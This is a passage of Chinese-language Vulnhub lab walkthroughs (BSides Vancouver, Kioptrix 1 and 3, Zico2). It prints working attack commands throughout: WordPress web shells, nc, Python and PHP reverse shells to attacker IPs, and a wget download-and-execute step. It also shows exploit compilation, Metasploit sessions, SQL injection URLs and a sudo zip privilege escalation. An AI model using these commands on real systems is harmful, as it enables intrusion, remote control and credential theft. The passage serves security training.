Windows下可使用九头蛇Hydra Windows版本或其他工具暴破,这里采用“超级弱口令检查工具V1.0”进行暴破,线
程不能开太高,否则虚机会挂,4线程。
字典的选择,选用字典:darkweb2017-top10000.txt。
暴破得到用户名:anne 密码:princess
0x03 登录ssh,具有sudo权限,获得flag
使用Xshell工具ssh登录账号:anne 密码:princess
执行id命令和sudo -l命令,发现anne具有sudo权限:
执行sudo -l /root命令,sudo cat /root/flag.txt命令,获得flag:
渗透方法二:
0x01 环境设置
因需要用到Kali虚机, 需要调整将bsides虚拟机、Kali攻击机都桥接到笔记本电脑的无线网卡,bsides虚拟机会重
新获得新IP。使用Namp扫描无线网卡C段可获得bsides虚机的新IP为:172.20.10.8,Kali虚机的IP是:
172.20.10.9。
Nmap命令: nmap -sP 192.168.56.0/24
同样匿名登录FTP,获得5个用户名:abatchy,john,mai,anne,doomguy
0x02 访问80端口http服务
访问 http://172.20.10.8/
访问 http://172.20.10.8/robots.txt 发现/backup_wordpress目录:
访问 http://172.20.10.8/backup_wordpress/ 进入WordPress页面:
0x03 使用wpscan扫描WordPress,暴破后台用户名和密码:
(1)暴破用户名,命令 wpscan -u http://172.20.10.8/backup_wordpress --enumerate u
获得用户名:admin john
(2)使用wpscan默认字典,暴破密码:
wpscan --url wpscan -u http://172.20.10.8/backup_wordpress --wordlist /root/share/darkweb2017-
top10000.txt --username john
暴破字典依然使用darkweb2017-top10000.txt弱口令字典:
暴破成功,获得用户名john 密码enigma
获取shell
0x04 登录并反弹shell
(1)使用用户名 john 密码enigma登录WordPress,登录地址 http://172.20.10.8/backup_wordpress/wp-
login.php
(2)WordPress获取shell的方法有多种,进入 Appearance -> Editor ,点击右边的 Theme Header ,在编辑器里面
插入一句话命令执行小马 <?php system($_GET['cmd']); ?> 保存。
(3)在Burpsuit中通过cmd参数执行命令,访问 172.20.10.8/backup_wordpress/?cmd=id;ls 成功执行id和ls命令:
(4)通过nc反弹shell 执行命令 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.20.10.5 4444
>/tmp/f ,需将命令进行url编码,然后在Burpsuit中发送:
(5)Windows攻击机开启nc接收反弹shell成功:
(6)为查找和传送文件方便,写入菜刀马 echo '<?php eval($_POST['123456']);?>' >> caidao.php
菜刀连接成功:
提升权限
0x5 查找用户文件
(1)查找每个用户文件,和浏览各目录文件,发现位于 /usr/local/bin/cleanup 文件,其权限是777,查看内容
为:
#!/bin/sh
rm -rf /var/log/apache2/* # Clean those damn logs!!
这是一段清理Apache日志的脚本,需要root权限运行。
查看cleanup文件的权限为777,可以随意修改和执行,可以将文件内容改成一个反弹shell。
(2)在菜刀中直接修改cleanup文件为反弹shell命令:因在 /usr/local/lib/python2.7/ 目录下安装有Python2.7,
所以可以使用Python反弹shell
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.20.10.5",5555)
);os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-
i"]);'
(3)Windows开启NC,等待接收反弹shell,root权限:
(4)查看flag:
思路总结
突破点和坑
1.没有突破点的时候,就尝试暴破已知用户名的密码,字典采用国外密码字段较好。
2.Linux反弹shell有多种姿势,bash、nc、php、Python等都需要尝试。
3.需熟悉WordPress后台getshell姿势。
4.靶机作者提示有多种方法,肯定还有其他方法,本次渗透使用了暴破ssh用户和WordPress渗透两种方法。
第十三节 Kioptrix 1
title: Vulnhub渗透测试练习-Kioptrix 1 date: 2018-05-07 15:28:05 categories: 笔记
作者:Ukonw
信息收集
通过 netdiscover 发现目标主机IP地址。
从扫描信息的得的目标主机的IP地址为 192.168.43.54
nmap 扫描IP的端口信息 nmap -A 192.168.43.54
root@kali:~# nmap -A -sS 192.168.43.54
Starting Nmap 7.10 ( https://nmap.org ) at 2018-05-07 15:48
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --
system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.43.54
Host is up (0.00055s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4
OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
root@kali:~# netdiscover
Currently scanning: 192.168.63.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.43.1 ac:c1:ee:31:3f:25 1 60 Xiaomi Communications Co L
192.168.43.33 44:03:2c:68:d8:0f 1 60 Intel Corporate
192.168.43.54 00:0c:29:7c:3a:16 1 60 VMware, Inc.
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4
OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
| ssl-cert: Subject:
commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/
countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after: 2010-09-26T09:32:06
|_ssl-date: 2018-05-07T07:50:42+00:00; +1m50s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
1024/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:7C:3A:16 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Host script results:
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
TRACEROUTE
HOP RTT ADDRESS
1 0.55 ms 192.168.43.54
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.99 seconds
443/tcp open ssl/http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
443端口的服务 mod_ssl/2.8.4 OpenSSL/0.9.6b
通过 searchsploit mod_ssl 查询相关漏洞
root@kali:~/Desktop# searchsploit mod_ssl
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Apache mod_ssl 2.0.x - Remote Denial o | exploits/linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAc | exploits/multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'Open | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'Open | exploits/unix/remote/764.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0. | exploits/unix/remote/40347.txt
--------------------------------------- ----------------------------------------
Shellcodes: No Result
这里可以利用第4个漏洞的exp脚本进行攻击, exploit-db 下载相关exp。
漏洞利用
OpenFuck漏洞利用
这是一个远程溢出的漏洞,下载的exp比较久远需要做一些修改。
编译需要用的 libssl-dev 库,且版本为 apt-get install libssl1.0-dev
在exp中加入头文件 <openssl/rc4.h> 和 <openssl/md5.h>
替换exp中的
wget 后的url为 http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
第961行,修改为const unsigned char * p,* end;
然后编译
gcc -o OpenFuck 764.c -lcrypto
运行脚本 ./OpenFuck 选择相应我系统版本
这里选择 0x6b
执行相关的命令 ./OpenFuck 0x6b 192.168.43.54
root@kali:~/Desktop# ./OpenFuck 0x6b 192.168.43.54
*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f80e0
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
bash-2.05$ unset HISTFILE; cd /tmp; wget http://dl.packetstormsecurity.net/030exploits/ptrace-
kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p;
--04:04:37-- http://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:80... connected!
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c [following]
--04:04:38-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]
0K ... 100% @ 3.74 MB/s
04:04:39 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]
[+] Attached to 6498
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
Samba漏洞利用
实验环境是存在一个samba漏洞的,
这里用到 enum4linux 其利用SMB协议枚举Windows系统和SAMBA服务,以此来获得目标系统大量的重要信息,
其枚举结果可能包含目标系统的用户帐号、组帐号、共享目录、密码策略等机密重要信息。
但我本地环境没有检测到samba的版本
该漏洞为 Samba trans2open溢出(Linux x86) 在Samba 2.2.0到2.2.8版本中发现的缓冲区溢出.
同样可以在 searchsploit 查到
这里直接用msf环境进行实验。
msf exploit(linux/samba/trans2open) > show options
Module options (exploit/linux/samba/trans2open):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.43.54 yes The target address
RPORT 139 yes The target port (TCP)
Payload options (linux/x86/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 192.168.43.54 no The target address
Exploit target:
Id Name
-- ----
0 Samba 2.2.x - Bruteforce
msf exploit(linux/samba/trans2open) > exploit
[*] Started bind handler
[*] 192.168.43.54:139 - Trying return address 0xbffffdfc...
[*] 192.168.43.54:139 - Trying return address 0xbffffcfc...
[*] 192.168.43.54:139 - Trying return address 0xbffffbfc...
[*] 192.168.43.54:139 - Trying return address 0xbffffafc...
[*] Command shell session 2 opened (192.168.43.177:33375 -> 192.168.43.54:4444) at 2018-05-07
04:47:42 -0400
id
uid=0(root) gid=0(root) groups=99(nobody)
总结
虽然说这个实验环境比较老,一些漏洞可能在现实的实战中是很少存在的。但是在这个漏洞利用的过程中可以学到
一些 kali linux 的工具的利用和一些实战的思路。
第十四节 Zico2
title: Vulnhub渗透测试练习 - Zico2 date: 2018-05-05 22:30:35 categories: 笔记
作者:Ukonw
vulnhub渗透环境
靶机地址
https://www.vulnhub.com/entry/zico2-1,210/
练习环境
Kali Linux
VirtualBox
信息收集
在信息收集之前需要获取到靶机的IP地址,我靶机在VirtualBox下是 Host-Only 网络模式,而靶机是无法直接进入
系统看到IP地址的。
这里用到一个kali linux下的一个工具 netdiscover 基于ARP的网络扫描工具。
直接执行命令 netdiscover :
这里我们获取到两个IP地址,测试发现正确的是 192.168.56.102
接下来用 nmap 扫描端口信息
nmap -A 192.168.56.102
得到80端口上运行着一个Web服务器。
访问该Web服务,在这个时候我们可以用常见的扫描工具对网站进行扫描
漏洞利用
这里我简单对页面进行浏览,发现了一个文件包含漏洞。
view.php?page=tools.html
尝试包含 ../../etc/passwd
成功包含,解下来就尝试扫描目录,因为校园网的原因,只能用 Host-Only 网络模式进行测试,所以一切测试过程
都在 Kali 下进行
这里尝试去扫描网站的目录,用到 kali 下的 dirb 专门用于爆破目录的工具。
得到一个 dbadmin 的目录
这里用到的是一个叫 phpLiteAdmin 服务器应用,版本号为 v1.9.3
尝试找找这个版本的历史漏洞,这个服务是存在一个远程PHP代码注入漏洞的。
这里可以通过搜索引擎搜索相关漏洞详情也可以用 kali 下的 Searchsploit 一个用于Exploit-DB的命令行搜索工
具。
这样们就可以看到漏洞详情,这里我们可以看到利用这个远程PHP代码注入漏洞需要登录的。
所以尝试默认密码 admin ,发现可以直接登录进去。
从 exploit-db 上的资料可以看出,我们需要创建一个数据库,写入一个shell。
这里可以用nc监听端口来反弹shell,也可以用msf生成php目录进行监听。
按照 exploit-db 所说的建立数据库。这里直接创建一个后缀名为 .php 的数据库 shell
并添加表信息
这里在本地的 /var/www/html 目录下创建txt文件
<?php $sock=fsockopen("192.168.56.101",2333);exec("/bin/sh -i <&3 >&3 2>&3");?>
然后启动apache web服务器
service apache2 start
然后返回到数据库中添加字段名,类型为 TEXT ,写入PHP代码来下载执行shell
<?php system("wget 192.168.56.101/shell.txt -O /tmp/shell.php; php /tmp/shell.php"); ?>
需要让目标下载执行这串恶意代码,需要一个HTTP请求。
这里我们就可以利用到之前发现的本地文件包含的漏洞了。
我们可以在数据库中发现我们恶意创建的数据库的路径
/usr/databases/shell.php
先用nc监听我们之前设置的端口 2333
这里我们就可以反弹一个shell了。
权限提升
在反弹了shell后,对目录进行检查发现了
/home/zico中有一个 wordpress 目录,是一个常见的CMS
进入查看wp-config.php文件。
发现了用户zico的登录凭证,我们可以用 ssh 来连接。
ssh [email protected]
利用 sudo -l 查看目前用户可执行与无法执行的指令;
这里表明当前用户 zico 可以利用root权限无密码执行 tar 和 zip 命令
这里可以利用 touch exploit 创建一个随机文件,并用 zip 命令进行压缩
sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty; pty.spawn(\"/bin/sh\")'"
sudo 用管理员权限执行
-T 检查文件的完整性。这个参数可以让他执行下一个参数 --unzip-command,在这个参数中写入一个python
的交互shell
由此的到 root 权限,接下来就可以进入 /root 目录了
cat /root/flag.txt 得到flag。
总结
vulnhub里面有很多不同的环境提供渗透,第一次完成一次完整的渗透过程,学到了很多东西。
在文章的开头用到了 kali linux 下的一个工具 netdiscover 基于ARP的网络扫描工具。记得在一个师傅的面
试经验介绍中,他被面试官问到为什么要用arp去探测内网主机,他回答的是相当隐蔽,探测的信息更准确。
主要是因为传统探测远程主机是否存活的方法是通过ICMP协议中的回显应答报文来探测(ping)。很多主机为
了避免被扫描器探测,通过防火墙将ICMP包屏蔽,从而达到在网络中隐藏的目的。
在文章中用到了两种语言的交互shell。分别是php和python,这里参考老外的博客Reverse Shell Cheat
Sheet
对于我个人在提权实战经验方面是十分少的,在这次练习中学到了可以利用touch exploit 创建一个随
机文件,并用 zip 命令进行压缩,由此可见还是自己的实战经验太少了。
最后感概下,英文的重要性。国外很多大牛的博客都是很丰富的,而对于一个英语四级425飘过的菜鸡,
我也是很无奈的。只能靠百度翻译了。
第十五节 Kioptrix 3
title: Vulnhub渗透测试练习-Kioptrix 3 date: 2018-05-08 20:01:26 categories: 笔记
作者:Ukonw
信息收集
同样用 netdiscover 发现目标主机。
root@kali:~# netdiscover
Currently scanning: 192.168.194.0/16 | Screen View: Unique Hosts
13 Captured ARP Req/Rep packets, from 4 hosts. Total size: 780
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.43.1 ac:c1:ee:31:3f:25 6 360 Xiaomi Communications Co Ltd
192.168.43.33 44:03:2c:68:d8:0f 2 120 Intel Corporate
192.168.43.58 00:0c:29:b2:76:40 4 240 VMware, Inc.
192.168.43.158 00:0c:29:38:2d:6f 1 60 VMware, Inc.
目标IP为 192.168.43.158 。
用nmap扫描目标主机端口信息。
root@kali:~# nmap -A -sS -n 192.168.43.158
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-08 07:45 EDT
Nmap scan report for 192.168.43.158
Host is up (0.00053s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:38:2D:6F (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.53 ms 192.168.43.158
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.91 seconds
由扫描信息可以得到
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
OS details: Linux 2.6.9 - 2.6.33
80端口可以看出cms为 Lotus CMS 。
用 dirb 扫描一下网站目录。也可以用御剑扫描目录。发现存在 phpdamin
cms后台 http://192.168.43.158/index.php?system=Admin
漏洞利用
文件包含&后台上传
访问80端口上的WEB服务。
发现url中有点问题
http://192.168.43.158/index.php?system=Blog
尝试 system=../../../../../etc/passwd
好像不行,尝试 %00. 截断,发现可以读到 /etc/passwd
http://192.168.43.158/index.php?system=../../../../../../../../etc/passwd%00.
这里可以结合后面SQLmap跑出来的后台密码得到了一个shell。
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.177 LPORT=443 -f raw >
/tmp/evil.jpg
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1114 bytes
用 msfvenom 生成一个图片马
我们在后台上传图片的地方上传一个图片
修改已有的图片,并得到图片的名,
利用msf监听端口
利用文件包含,包含上传图片,这个地方比较鸡肋。因为这个绝对路径我们是得不到的。
http://kioptrix3.com/index.php?
system=../../../../../../../home/www/kioptrix3.com/gallery/photos/thumb_1a2o44437j.jpg%00.
访问返回一个shell。
msf > use multi/handler
msf exploit(multi/handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.43.177
LHOST => 192.168.43.177
msf exploit(multi/handler) > set LPORT 443
LPORT => 443
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.43.177:443
[*] Sending stage (37775 bytes) to 192.168.43.158
[*] Meterpreter session 1 opened (192.168.43.177:443 -> 192.168.43.158:51226) at 2018-05-08
12:53:09 -0400
meterpreter > ls
Listing: /home/www/kioptrix3.com
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 4096 dir 2011-04-15 09:21:17 -0400 cache
40777/rwxrwxrwx 4096 dir 2011-04-14 12:24:17 -0400 core
40777/rwxrwxrwx 4096 dir 2011-04-14 12:24:17 -0400 data
100644/rw-r--r-- 23126 fil 2011-04-14 12:23:13 -0400 favicon.ico
40755/rwxr-xr-x 4096 dir 2011-04-14 11:32:31 -0400 gallery
100644/rw-r--r-- 26430 fil 2011-04-14 12:23:13 -0400 gnu-lgpl.txt
100644/rw-r--r-- 399 fil 2011-04-14 12:23:13 -0400 index.php
40777/rwxrwxrwx 4096 dir 2011-04-14 12:24:17 -0400 modules
40777/rwxrwxrwx 4096 dir 2011-04-14 12:24:17 -0400 style
100644/rw-r--r-- 243 fil 2011-04-14 12:23:13 -0400 update.php
权限有点小,很多命令都执行不了的。
SQLmap进行SQL注入
这个站是有的链接有问题,302跳转到 kioptrix3.com
在 etc/passwd 添加
192.168.43.158 kioptrix3.com
service networking restart 重启服务
发现url存在SQL注入。 kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos
先用 sqlmap 进行注入测试,id存在报错注入。
尝试查找下后台管理员账号密码。
Database: gallery
Table: dev_accounts
[2 entries]
+----+------------+---------------------------------------------+
| id | username | password |
+----+------------+---------------------------------------------+
| 1 | dreg | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r) |
| 2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e (starwars) |
+----+------------+---------------------------------------------+
得到管理员账号密码,但是在
无法登录,另外找到一个登录的地方 http://kioptrix3.com/gallery/gadmin/
Database: gallery
Table: gallarific_users
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| admin | n0t7t1k4 |
+----------+----------+
但是可以登录。
这里虽然可以是 root 和 dba 权限,但是没有绝对路径。不能直接用sqlmap进行写shell。
手注sqli
http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%201,2,3,4,5,6#
判断一共有6列
http://kioptrix3.com/gallery/gallery.php?id=1%20union%20select%201,version(),database(),4,5,6#
得到当前数据库和版本号
http://kioptrix3.com/gallery/gallery.php?
id=1%20union%20select%201,group_concat(table_name),3,4,5,6%20from%20information_schema.tables%20w
here%20table_schema%20=%20database()#
得到当前数据库所有的表名。
http://kioptrix3.com/gallery/gallery.php?
id=1%20union%20select%201,group_concat(column_name),3,4,5,6%20FROM%20information_schema.columns%2
0WHERE%20table_name%20=0x6465765f6163636f756e7473#
获取表里的列名。
http://kioptrix3.com/gallery/gallery.php?
id=1%20union%20select%201,group_concat(username,0x3a,password),3,4,5,6%20FROM%20dev_accounts#
Lotus CMS 漏洞
root@kali:~# searchsploit Lotus CMS
------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------- ----------------------------------------
Lotus CMS Fraise 3.0 - Local File Inclusion / Remote C | exploits/php/webapps/15964.py
Lotus Core CMS 1.0.1 - Remote File Inclusion | exploits/php/webapps/5866.txt
LotusCMS 3.0 - 'eval()' Remote Command Execution (Meta | exploits/php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities | exploits/php/webapps/16982.txt
------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
从查询结果看,有一个本地文件包含和一个远程代码执行,
这里的本地文件包含就是我们之前发现的那个。我们尝试下这个本地文件包含漏洞
尝试发现这个漏洞好像不行。
尝试 LotusCMS 3.0 - 'eval()' Remote Command Execution 发现是一个rb文件。
于是
msf > search LotusCMS
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/http/lcms_php_exec 2011-03-03 excellent LotusCMS 3.0 eval() Remote
Command Execution
利用这个漏洞进行攻击
msf > use exploit/multi/http/lcms_php_exec
msf exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port]
[...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /lcms/ yes URI
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf exploit(multi/http/lcms_php_exec) > set RHOST 192.168.43.58
RHOST => 192.168.43.58
msf exploit(multi/http/lcms_php_exec) > set PAYLOAD generic/shell_bind_tcp
PAYLOAD => generic/shell_bind_tcp
msf exploit(multi/http/lcms_php_exec) > set URI /
URi => /
msf exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port]
[...]
RHOST 192.168.43.58 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI / yes URI
VHOST no HTTP server virtual host
Payload options (generic/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 192.168.43.58 no The target address
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf exploit(multi/http/lcms_php_exec) > run
[*] Started bind handler
[-] Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.43.58:80) was
unreachable.
[*] Exploit completed, but no session was created.
msf exploit(multi/http/lcms_php_exec) > set RHOST 192.168.43.158
RHOST => 192.168.43.158
msf exploit(multi/http/lcms_php_exec) > run
[*] Started bind handler
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 1 opened (192.168.43.177:44505 -> 192.168.43.158:4444) at 2018-05-08
10:02:56 -0400
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
cache
core
data
favicon.ico
gallery
gnu-lgpl.txt
index.php
modules
style
update.php
pwd
/home/www/kioptrix3.com
我尝试用 cd 命令进入 gallery 目录但是不行,
这里用到 ls -l 可以看到 gallery 目录的文件
ls -l gallery
total 156
drwxr-xr-x 2 root root 4096 Apr 12 2011 BACK
-rw-r--r-- 1 root root 3573 Oct 10 2009 db.sql
-rw-r--r-- 1 root root 252 Apr 12 2011 g.php
drwxr-xr-x 3 root root 4096 Apr 12 2011 gadmin
-rw-r--r-- 1 root root 214 Apr 12 2011 gallery.php
-rw-r--r-- 1 root root 1440 Apr 14 2011 gconfig.php
-rw-r--r-- 1 root root 297 Apr 12 2011 gfooter.php
-rw-r--r-- 1 root root 38771 Apr 12 2011 gfunctions.php
-rw-r--r-- 1 root root 1009 Apr 12 2011 gheader.php
-rw-r--r-- 1 root root 249 Apr 12 2011 index.php
-rw-r--r-- 1 root root 10340 Apr 12 2011 install.BAK
-rw-r--r-- 1 root root 212 Apr 12 2011 login.php
-rw-r--r-- 1 root root 213 Apr 12 2011 logout.php
-rw-r--r-- 1 root root 249 Apr 12 2011 p.php
drwxrwxrwx 2 root root 4096 Apr 12 2011 photos
-rw-r--r-- 1 root root 213 Apr 12 2011 photos.php
-rw-r--r-- 1 root root 219 Apr 12 2011 post_comment.php
-rw-r--r-- 1 root root 214 Apr 12 2011 profile.php
-rw-r--r-- 1 root root 87 Oct 10 2009 readme.html
-rw-r--r-- 1 root root 213 Apr 12 2011 recent.php
-rw-r--r-- 1 root root 215 Apr 12 2011 register.php
drwxr-xr-x 2 root root 4096 Apr 13 2011 scopbin
-rw-r--r-- 1 root root 213 Apr 12 2011 search.php
-rw-r--r-- 1 root root 216 Apr 12 2011 slideshow.php
-rw-r--r-- 1 root root 211 Apr 12 2011 tags.php
drwxr-xr-x 6 root root 4096 Apr 12 2011 themes
-rw-r--r-- 1 root root 56 Oct 10 2009 version.txt
-rw-r--r-- 1 root root 211 Apr 12 2011 vote.php
发现 gconfig.php 配置文件, cat 读配置文件。
$GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";
$GLOBALS["gallarific_mysql_server"] = "localhost";
$GLOBALS["gallarific_mysql_database"] = "gallery";
$GLOBALS["gallarific_mysql_username"] = "root";
$GLOBALS["gallarific_mysql_password"] = "fuckeyou";
lotusRCE.sh
wget https://raw.githubusercontent.com/Hood3dRob1n/LotusCMS-Exploit/master/lotusRCE.sh
root@kali:~# chmod +x lotusRCE.sh
root@kali:~# ./lotusRCE.sh 192.168.43.158
Path found, now to check for vuln....
</html>Hood3dRob1n
Regex found, site is vulnerable to PHP Code Injection!
About to try and inject reverse shell....
what IP to use?
192.168.43.177
What PORT?
2333
OK, open your local listener and choose the method for back connect:
1) NetCat -e
3) NetCat Backpipe 5) Exit
2) NetCat /dev/tcp 4) NetCat FIFO
#? 1
root@kali:/tmp# nc -lvp 2333
listening on [any] 2333 ...
connect to [192.168.43.177] from kioptrix3.com [192.168.43.158] 56259
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
权限提升
尝试用之前SQL注入得到的。
Database: gallery
Table: dev_accounts
[2 entries]
+----+------------+---------------------------------------------+
| id | username | password |
+----+------------+---------------------------------------------+
| 1 | dreg | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r) |
| 2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e (starwars) |
+----+------------+---------------------------------------------+
进行SSH连接,发现第一个账号不能没有多大的作用,不能提权。
连接第二个账号
root@kali:~# ssh [email protected]
[email protected]'s password:
